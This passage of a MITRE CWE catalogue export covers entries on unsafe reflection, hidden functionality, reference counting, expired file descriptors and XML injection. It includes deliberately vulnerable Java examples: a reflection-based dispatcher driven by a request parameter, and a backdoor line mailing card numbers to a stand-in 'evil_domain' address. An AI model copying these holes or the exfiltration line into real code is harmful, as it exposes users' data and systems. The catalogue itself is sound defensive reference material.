cmdClass.newInstance();", "ao.doAction(request);"]}, {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "String ctl = request.getParameter(\"ctl\");\n\t\t\t\t   Class cmdClass = Class.forName(ctl + \"Command\");\n\t\t\t\t   Worker ao = (Worker) cmdClass.newInstance();\n\t\t\t\t   ao.checkAccessControl(request);\n\t\t\t\t   ao.doAction(request);"}, "#text_blocks": ["String ctl = request.getParameter(\"ctl\");", "Class cmdClass = Class.forName(ctl + \"Command\");", "Worker ao = (Worker) cmdClass.newInstance();", "ao.checkAccessControl(request);", "ao.doAction(request);"]}], "Body_Text": ["A programmer might refactor this code to use reflection as follows:", {"xhtml:p": ["The refactoring initially appears to offer a\n\t\t\t\t number of advantages. There are fewer lines of code,\n\t\t\t\t the if/else blocks have been entirely eliminated, and\n\t\t\t\t it is now possible to add new command types without\n\t\t\t\t modifying the command dispatcher.", "However, the refactoring allows an attacker to\n\t\t\t\t instantiate any object that implements the Worker\n\t\t\t\t interface. If the command dispatcher is still\n\t\t\t\t responsible for access control, then whenever\n\t\t\t\t programmers create a new class that implements the\n\t\t\t\t Worker interface, they must remember to modify the\n\t\t\t\t dispatcher's access control code. If they do not modify\n\t\t\t\t the access control code, then some Worker classes will\n\t\t\t\t not have any access control."], "#text_blocks": ["The refactoring initially appears to offer a\n\t\t\t\t number of advantages. There are fewer lines of code,\n\t\t\t\t the if/else blocks have been entirely eliminated, and\n\t\t\t\t it is now possible to add new command types without\n\t\t\t\t modifying the command dispatcher.", "However, the refactoring allows an attacker to\n\t\t\t\t instantiate any object that implements the Worker\n\t\t\t\t interface. If the command dispatcher is still\n\t\t\t\t responsible for access control, then whenever\n\t\t\t\t programmers create a new class that implements the\n\t\t\t\t Worker interface, they must remember to modify the\n\t\t\t\t dispatcher's access control code. If they do not modify\n\t\t\t\t the access control code, then some Worker classes will\n\t\t\t\t not have any access control."]}, "One way to address this access control\n               problem is to make the Worker object responsible for\n               performing the access control check. An example of the\n               re-refactored code follows:", "Although this is an improvement, it\n               encourages a decentralized approach to access control,\n               which makes it easier for programmers to make access\n               control mistakes.", "This code also highlights another security\n\t\t\t   problem with using reflection to build a command\n\t\t\t   dispatcher. An attacker can invoke the default\n\t\t\t   constructor for any kind of object. In fact, the\n\t\t\t   attacker is not even constrained to objects that\n\t\t\t   implement the Worker interface; the default constructor\n\t\t\t   for any object in the system can be invoked. If the\n\t\t\t   object does not implement the Worker interface, a\n\t\t\t   ClassCastException will be thrown before the assignment\n\t\t\t   to ao, but if the constructor performs operations that\n\t\t\t   work in the attacker's favor, the damage will already\n\t\t\t   have been done. Although this scenario is relatively\n\t\t\t   benign in simple products, in larger products where\n\t\t\t   complexity grows exponentially, it is not unreasonable\n\t\t\t   that an attacker could find a constructor to leverage\n\t\t\t   as part of an attack."]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2022-2054", "Description": "Python compiler uses eval() to execute malicious strings as Python code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2054"}, {"Reference": "CVE-2018-1000613", "Description": "Cryptography API uses unsafe reflection when deserializing a private key", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-1000613"}, {"Reference": "CVE-2015-8103", "Description": "Deserialization issue in commonly-used Java library allows remote execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2015-8103"}, {"Reference": "CVE-2006-7079", "Description": "Chain: extract used for register_globals compatibility layer, enables path traversal (CWE-22)", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-7079"}, {"Reference": "CVE-2012-2055", "Description": "Source version control product allows modification of trusted key using mass assignment.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2055"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-01-26", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-01-19", "Modification_Version": "2.10", "Modification_ReleaseDate": "2017-01-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Description"}]}, "entry_type": "Weakness", "ranking": 159.0}, {"@ID": "912", "@Name": "Hidden Functionality", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "684", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Not Technology-Specific", "@Prevalence": "Undetermined"}, {"@Class": "ICS/OT", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "Hidden functionality can take many forms, such as intentionally malicious code, \"Easter Eggs\" that contain extraneous functionality such as games, developer-friendly shortcuts, etc."}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation", "Note": "Developers might use shortcuts that reduce maintenance or support costs such as hard-coded accounts."}]}, "Common_Consequences": {"Consequence": {"Scope": ["Other", "Integrity"], "Impact": ["Varies by Context", "Alter Execution Logic"], "Note": "From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application."}}, "Detection_Methods": {"Detection_Method": {"Method": "Automated Static Analysis", "Description": "Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered."}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Installation", "Description": ["Always verify the integrity of the product that is being installed."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-230", "Intro_Text": "In the example below, a malicious developer has injected code to send credit card numbers to the developer's own email address.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:i": ["// Authorize credit card.", "..."], "#text": "mailCardNumber(ccn, \"evil_developer@evil_domain.com\");"}}, "#text": "boolean authorizeCard(String ccn) {}"}, "#text_blocks": ["boolean authorizeCard(String ccn) {", "// Authorize credit card.", "...", "mailCardNumber(ccn, \"evil_developer@evil_domain.com\");", "}"]}}, {"@Demonstrative_Example_ID": "DX-231", "Intro_Text": "Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented \"special access features\" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.", "Example_Code": {"@Nature": "Bad", "@Language": "Other", "xhtml:div": "Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.", "#text_blocks": ["Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents."]}, "Body_Text": "Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces."}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2022-31260", "Description": "Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-31260"}, {"Reference": "CVE-2022-3203", "Description": "A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-3203"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "133"}, {"@CAPEC_ID": "190"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-28", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Applicable_Platforms, Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction"}]}, "entry_type": "Weakness", "ranking": 200.0}, {"@ID": "911", "@Name": "Improper Update of Reference Count", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "664", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "672", "@View_ID": "1000"}, {"@Nature": "CanPrecede", "@CWE_ID": "772", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Name": "C", "@Prevalence": "Sometimes"}, {"@Name": "C++", "@Prevalence": "Sometimes"}, {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it."}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Availability", "Impact": ["DoS: Resource Consumption (Memory)", "DoS: Resource Consumption (Other)"], "Likelihood": "High", "Note": "If an adversary can prevent a reference count from reaching zero, then resources might not be released when they are supposed to, thus causing resources to become scarce for future needs."}, {"Scope": "Availability", "Impact": "DoS: Crash, Exit, or Restart", "Likelihood": "Low", "Note": "If an adversary can cause a reference count to reach zero when the resource is still in use, then a resource might be released before it is supposed to be, possibly forcing an error that causes the product to crash or exit out of its current operation."}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2002-0574", "Description": "Chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0574"}, {"Reference": "CVE-2004-0114", "Description": "Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0114"}, {"Reference": "CVE-2006-3741", "Description": "Chain: improper reference count tracking leads to file descriptor consumption", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-3741"}, {"Reference": "CVE-2007-1383", "Description": "Chain: integer overflow in reference counter causes the same variable to be destroyed twice.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1383"}, {"Reference": "CVE-2007-1700", "Description": "Incorrect reference count calculation leads to improper object destruction and code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1700"}, {"Reference": "CVE-2008-2136", "Description": "Chain: incorrect update of reference count leads to memory leak.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2136"}, {"Reference": "CVE-2008-2785", "Description": "chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2785"}, {"Reference": "CVE-2008-5410", "Description": "Improper reference counting leads to failure of cryptographic operations.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5410"}, {"Reference": "CVE-2009-1709", "Description": "Chain: improper reference counting in a garbage collection routine leads to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1709"}, {"Reference": "CVE-2009-3553", "Description": "Chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3553"}, {"Reference": "CVE-2009-3624", "Description": "Reference count not always incremented, leading to crash or code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3624"}, {"Reference": "CVE-2010-0176", "Description": "improper reference counting leads to expired pointer dereference.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0176"}, {"Reference": "CVE-2010-0623", "Description": "OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0623"}, {"Reference": "CVE-2010-2549", "Description": "OS kernel driver allows code execution", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2549"}, {"Reference": "CVE-2010-4593", "Description": "improper reference counting leads to exhaustion of IP addresses", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-4593"}, {"Reference": "CVE-2011-0695", "Description": "Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-0695"}, {"Reference": "CVE-2012-4787", "Description": "improper reference counting leads to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-4787"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-884"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Description"}]}, "entry_type": "Weakness", "ranking": 25.0}, {"@ID": "910", "@Name": "Use of Expired File Descriptor", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses or accesses a file descriptor after it has been closed.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "672", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Resultant"}}, "Applicable_Platforms": {"Language": [{"@Name": "C", "@Prevalence": "Sometimes"}, {"@Name": "C++", "@Prevalence": "Sometimes"}, {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "After a file descriptor for a particular file or device has been released, it can be reused."}, "Alternate_Terms": {"Alternate_Term": {"Term": "Stale file descriptor"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": ["Confidentiality", "Integrity"], "Impact": ["Read Files or Directories", "Modify Files or Directories"], "Note": "The reused file descriptor might reference a different file or device than the original file descriptor. As a result, the program could read data from, or write data to, the wrong file."}, {"Scope": "Availability", "Impact": "DoS: Crash, Exit, or Restart", "Note": "Accessing a file descriptor that has been closed can cause a crash."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Taxonomy_Mappings": {"Taxonomy_Mapping": {"@Taxonomy_Name": "CERT C Secure Coding", "Entry_ID": "FIO46-C", "Entry_Name": "Do not access a closed file", "Mapping_Fit": "Exact"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21", "Submission_Comment": "New weakness based on discussion on the CWE research list in December 2012."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Description, Weakness_Ordinalities"}]}, "entry_type": "Weakness", "ranking": 1.0}, {"@ID": "91", "@Name": "XML Injection", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Draft", "Description": "The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.", "Extended_Description": "Within XML, special elements could include reserved words or characters such as \"<\", \">\", \"\"\", and \"&\", which could then be used to add new data or modify XML syntax.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "Blind XPath Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity", "Availability"], "Impact": ["Execute Unauthorized Code or Commands", "Read Application Data", "Modify Application Data"]}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright."]}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "XML injection (aka Blind Xpath injection)"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A2", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "OWASP Top Ten 2004", "Entry_ID": "A6", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "WASC", "Entry_ID": "23", "Entry_Name": "XML Injection"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "250"}, {"@CAPEC_ID": "83"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-882"}, {"@External_Reference_ID": "REF-62", "@Section": "Chapter 17, \"XML Injection\", Page 1069"}, {"@External_Reference_ID": "REF-1534"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "This weakness might be confused with other weaknesses such as XXE. Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}, "Suggestions": {"Suggestion": {"@CWE_ID": "611", "@Comment": "XML External Entity (XXE)"}}}, "Notes": {"Note": [{"@Type": "Maintenance", "#text": "The description for this entry is generally applicable to XML, but the name includes \"blind XPath injection\" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652."}, {"@Type": "Theoretical", "#text": "In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error."}, {"@Type": "Research Gap", "#text": "Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples."}]}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Organization": "Veracode", "Modification_Date": "2008-08-15", "Modification_Version": "1.0", 